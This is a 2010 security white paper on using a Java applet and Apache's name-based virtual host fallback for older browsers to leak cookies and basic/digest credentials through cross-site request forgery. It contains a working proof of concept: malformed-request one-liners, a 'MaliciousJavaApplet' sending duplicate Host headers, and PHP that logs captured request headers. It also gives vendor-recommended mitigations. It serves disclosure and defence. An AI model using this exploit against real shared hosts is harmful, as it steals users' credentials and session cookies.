Security-Assessment.com White Paper

Leveraging XSRF with Apache Web Server “Compatibility with older browser” feature and Java Applet

Prepared by: Roberto Suggi Liverani
Senior Security Consultant
Security-Assessment.com

Date: 18 October 2010

Contents

Abstract

Security-Assessment.com discovered that it is possible to leverage Cross Site Request Forgery (XSRF) attacks with the potential of leaking cookie, basic and digest authentication tokens using Java Applet and the Apache Web Server “Compatibility with Older Browsers”[1] feature. A Proof-of-Concept (PoC) is included in this paper to complement the attack description.

[1] http://httpd.apache.org/docs/2.0/vhosts/name-based.html#compat

1. Attack Description

1.1 Testing environment

Security-Assement.com set up a testing environment using Apache Web Server/2.2.3 (CentOS) configured with three name-based virtual hosts: **www.firstvirtualhost.com**, **www.targetsite.net** and **www.badsite.com**. These virtual hosts have their related files located in separate folders. In this report, **www.firstvirtualhost.com** is referred as the primary name-based virtual host (first VirtualHost in the httpd.conf file). During the testing, Security-Assessment.com identified two main conditions which reflect the "Compatibility with older browser" feature described by the Apache documentation.

Condition	Request/Response
Malformed HTTP Request missing either: - any HTTP protocol version (e.g. HTTP/1.1) or - Standard HTTP headers (e.g. Host:) HTTP method used (GET,POST)	perl -e 'print "GET /\r\n"' | nc **www.targetsite.net** 80 perl -e 'print "POST / HTTP/1.0\r\n"' | nc **www.targetsite.net** 80 Responses return content of main web page on the first virtual host (**www.firstvirtualhost.com**)
Invalid/Incorrect Host: HTTP Header(s) value HTTP method used (GET, POST)	Sent to: **www.targetsite.net** GET / HTTP/1.1 Host: 1 -- POST / HTTP/1.1 Host: 1 Host: 1 Responses return content of main web page on the first virtual host (**www.firstvirtualhost.com**)

If a specific resource is requested (e.g. **www.targetsite.net/default.html**) using the above non-standard HTTP requests, Apache will return **www.firstvirtualhost.com/default.html** web page if found.

1.2 Stealing basic/digest authentication credentials and cookie via XSRF (PoC)

This Proof of Concept (PoC) demonstrates that a Cross Site Request Forgery (XSRF) attack can be leveraged by using Java Applet and the Apache Web Server "Compatibility with older browsers" feature. Traditionally, XSRF is used to force a user to perform an unwanted action on a target web site. In this case, the PoC shows that XSRF can be leveraged to capture sensitive information such as basic/digest authentication credentials and cookie related to a target web site.

A Flash movie demo can be viewed at the following link:

http://www.security-assessment.com/files/whitepapers/Leveraging_XSRF.swf

The following assumptions are made in this PoC:

1. Virtual host **www.firstvirtualhost.com** is set as first virtual host or primary name-based virtual host;
2. Virtual hosts **www.targetsite.net** , **www.firstvirtualhost.com** and **www.badsite.com** resolve to the same IP address (hosted on the same server);
3. Malicious user controls both **www.badsite.com** and **www.firstvirtualhost.com** web sites;
4. Malicious user targets **www.targetsite.net** users.

The following table summarises the sequence of actions shown in the demo:

Sequence	Condition
1	User has a valid cookie for **www.targetsite.net** and a basic authentication token for **www.targetsite.net/private/secret.html** (see table "Sequence 1" below).
2	The same user visits **www.badsite.com** which performs a cross site forged request via a non-standard HTTP request to **www.targetsite.net/private/secret.html**. The forged request is launched by a Java Applet embedded on the malicious site. The non-standard request triggers the Apache "compatibility with older browsers" feature. (see table "Sequence 2" below).
3	Apache web server treats the request as originated from an old browser and will not return the **secret.html** page of **www.targetsite.net** but instead the page from **www.firstvirtualhost.com/private/secret.html** which is controlled by the malicious user. (see table "Sequence 3" below).
4	The page on **www.firstvirtualhost.com/private/secret.html** logs the request headers, including basic authentication credentials and cookie (see table "Sequence 4" below).
5	The **www.firstvirtualhost.com/private/secret.html** page can either perform a redirection to the legitimate **www.targetsite.net/private/secret.html** web page or the page can just return the same content (if known to the malicious user) of the original target (**www.targetsite.net/private/secret.html**).

The above attack results in the **www.targetsite.net** cookie and basic/digest authentication credentials leaking to an unauthorised domain (**www.firstvirtualhost.com**). No requests can lead the attack back to **www.firstvirtualhost.com** as the browser was always communicating to **www.targetsite.net** and to **www.badsite.com** .

Testing was conducted using the following browsers with different results:

Browser	Result
Mozilla Firefox 3.5.8 (Windows XP)	Both cookie and basic/digest authentication credentials leak to **www.firstvirtualhost.com**.
Internet Explorer 6.0.2900.5512 (Windows XP)	Both cookie and basic authentication credentials leak to **www.firstvirtualhost.com**. User is prompted to re-enter their digest authentication credentials.
Internet Explorer 8.0.6001.18702 (Windows XP)	Cookie leaks to **www.firstvirtualhost.com** but basic/digest authentication credentials are not sent within the request.
Opera 10.60 (Windows XP)	Both cookie and basic/digest authentication credentials leak to **www.firstvirtualhost.com**.
Google Chrome 5.0.375.9 (Windows XP)	Cookie leaks to **www.firstvirtualhost.com** but the user is prompted to re-enter their basic and digest authentication credentials.
Safari 5.0 (7533.16) (Windows XP)	Cookie leaks to **www.firstvirtualhost.com** but the user is prompted to re-enter their basic and digest authentication credentials.

On a related note, performing a non-standard HTTP request as described in section 1.1 – Testing Environment seems not possible when using technologies such as XMLHTTPRequest (XHR), Flash or Silverlight unless bugs are found in such technologies which allow a non-standard HTTP requests to be performed. However, as shown in this PoC, a Java Applet can be used to force a browser to perform a non-standard HTTP request to trigger the Apache Web Server “compatibility with older browsers” feature.

This type of attack can target complex web hosting environment making use of name-based virtual hosts. More chances exist in such environments for a malicious user to control both the first virtual host and another virtual host hosted on the same server (with same IP address).

In this attack, it is assumed that all three virtual hosts resolve to the same IP address. However, the attack would be successful even if **www.badsite.com** can resolve to a different IP address as long as **www.targetsite.net**’s crossdomain.xml policy permits communication with **www.badsite.com**.

1.3 PoC - Detailed Information

Sequence 1 – User with valid basic authentication credentials and cookie for www.targetsite.net
User Request to **www.targetsite.net** GET /private/secret.html HTTP/1.1 Host: www.targetsite.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive **Cookie: test=test** **Authorization: Basic dGVzdDp0ZXN0**
Response from **www.targetsite.net** HTTP/1.1 200 OK Date: Wed, 21 Jul 2010 03:47:48 GMT Server: Apache/2.2.3 (CentOS) Last-Modified: Thu, 01 Jul 2010 00:08:59 GMT ETag: "5de6e-8-46ec1cc0" Accept-Ranges: bytes Content-Length: 8 Content-Type: text/html; charset=UTF-8 secret3

Sequence 2 – User targeted by a XSRF from www.badsite.com

Browser Request to **www.badsite.com**:

```
GET / HTTP/1.1
Host: www.badsite.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
```

Response:

```
HTTP/1.1 200 OK
Date: Wed, 21 Jul 2010 03:48:26 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Wed, 21 Jul 2010 03:08:55 GMT
ETag: "5dea4-4d-1f3d7fc0"
Accept-Ranges: bytes
Content-Length: 77
Content-Type: text/html; charset=UTF-8

<applet width=300 height=300 code="MaliciousJavaApplet.class"> </applet>
```

MaliciousJavaApplet.java – *in this case, the presence of two Host: header values force Apache to treat the request as coming from an old browser although the Host: header values are correct*.

```
import java.awt.*;
import java.io.*;
import java.net.*;

public class MaliciousJavaApplet extends java.applet.Applet {

   TextArea messageLog = new TextArea(4, 40);

   public void init() {
      setLayout(new BorderLayout());
      add("Center", messageLog);
   }

   public void start() {

      try {
                                 URL url = new URL("http://www.targetsite.net/private/secret.html");
                                 URLConnection connection;
                                 String inputLine;
                                 BufferedReader inReader;
         connection = url.openConnection();
                                 connection.setAllowUserInteraction(false);
                                 connection.setDoOutput(true);
                                 connection.addRequestProperty("Host","www.targetsite.net");
                                 connection.addRequestProperty("Host","www.targetsite.net");
         inReader = new BufferedReader(
                  new InputStreamReader(connection.getInputStream()));
         inReader.close();
                              }
      catch (IOException e) {
         System.err.println("Exception:  " + e);
      }
   }
}
```

Request:

GET /java/ MaliciousJavaApplet.class HTTP/1.1
accept-encoding: gzip
Host: www.badsite.com
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_20
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Proxy-Connection: keep-alive
If-Modified-Since: Wed, 21 Jul 2010 03:44:19 GMT

Sequence 3 – Non-standard HTTP Request to www.targetsite.net
*Non-Standard HTTP Request to **www.targetsite.net** contains the cookie and basic authentication credentials for **www.targetsite.net** as the browser treats the communication as originating from **www.targetsite.net** . A request with two Host: headers will be treated as a non-standard HTTP request by Apache and will trigger the compatibility with older browsers feature.* GET /private/secret.html HTTP/1.1 **Host: www.targetsite.net** **Host: www.targetsite.net** User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_20 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Proxy-Connection: keep-alive **Authorization: Basic dGVzdDp0ZXN0** **Cookie: test=test**
*Response is from **www.firstvirtualhost.com/private/secret.html** but the browser treats it as from **www.targetsite.net/private/secret.html*** HTTP/1.1 200 OK Date: Wed, 21 Jul 2010 03:49:01 GMT Server: Apache/2.2.3 (CentOS) Last-Modified: Wed, 30 Jun 2010 12:36:34 GMT ETag: "5de79-7-9aa5b880" Accept-Ranges: bytes Content-Length: 7 Content-Type: text/html; charset=UTF-8 secret3

Sequence 4 – Capturing basic authentication token and cookie

*Secret.html from **www.firstvirtualhost.com** contains PHP code that steals the HTTP headers and return the same value of the secret.html on **www.targetsite.net***
 	
<?php
 	
//do something with $key and $value like send user to another site or save to a file
 	
$fp = fopen('headers.txt', 'w');
 	
foreach(getallheaders() as $key=>$value) {
 	
fwrite($fp, $key.'='.$value);
 	
}
 	
fclose($fp);
 	
//then return same response as www.targetsite.net/private/secret.html
print "secret3";
 	
?>

1.4 Recommendations from the Apache Security Team

The following statement is from the Apache Security Team regarding the "Compatibility with older browser" feature and the attack described in this paper:

The virtual host behaviour of Apache httpd is expected and correct according to the documentation at http://httpd.apache.org/docs/2.2/vhosts/name-based.html which notes that the first matching <VirtualHost > is also the default host. This is not a security issue in Apache httpd[2].

Suggested configuration to mitigate this attack with Apache Web Server (in httpd.conf) can be similar to the following:

Suggested Configuration To Prevent Attack With Apache Web Server
NameVirtualHost *:80 # First no-match default VirtualHost will return Bad Request for all # unrecognized Host: names, http/1.0 requests with no Host: name, # or malicious attempts to pass multiple Host: values. <VirtualHost *:80> ServerName unknown.host Redirect 400 / </VirtualHost>

This must be the first <VirtualHost > specified. unknown.host is a literal, but can be any pattern that does not match a legitimate ServerName or ServerAlias. Note that all requests by-IP with an unrecognised host name will be rejected, irrespective if the Host: header is missing, or if one or multiple Host: names are given. ErrorDocument 400 can point to custom error text to help the user identify the problem[3].

Also use of Apache modules has been recommended. The module mod_taint[4] can also be used to prevent this attack. In such case, a *rule to prevent multiple Host:s (and reply with a 400 error if encountered) would be*[5]:

Example of mod_taint configuration
Untaint HTTP_HOST ^[\w\.-]+$

[2] Quoted from correspondence with Apache Security Team
[3] Quoted from correspondence with Apache Security Team
[4] http://people.apache.org/~niq/mod_taint.html
[5] Quoted from correspondence with Apache Security Team

1.5 Conclusion

This paper has demonstrated a way to leverage Cross Site Request Forgery (XSRF) attacks by using Java Applet and the Apache Web Server "Compatibility with older browser" feature. This attack can be launched against Apache shared hosting environments, where the first name-based virtual host is controlled by an entity unrelated to the administrator of the web server.

The paper includes some recommendations provided by the Apache Security Team to mitigate the attack. Such recommendations suggest that a web server administrator needs to control the first name-based virtual host and set rules or filters to prevent leaking of sensitive data, such as cookie, basic and digest authentication credentials.

An effective solution for end-users to avoid being targeted by this type of attack is to use NoScript[6], a Firefox add-on which can block Java Applet based attacks launched from untrusted web sites.

[6] http://noscript.net/

2. References

- The Cross-Site Request Forgery (CSRF/XSRF) FAQ
  http://www.cgisecurity.com/csrf-faq.html
- Apache Web Server “Compatibility with older browser” feature
  http://httpd.apache.org/docs/2.0/vhosts/name-based.html#compat
  http://httpd.apache.org/docs/current/vhosts/name-based.html
- Apache Modules mod_taint
  http://people.apache.org/~nig/mod_taint.html

About Security-Assessment.com

Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

Copyright Information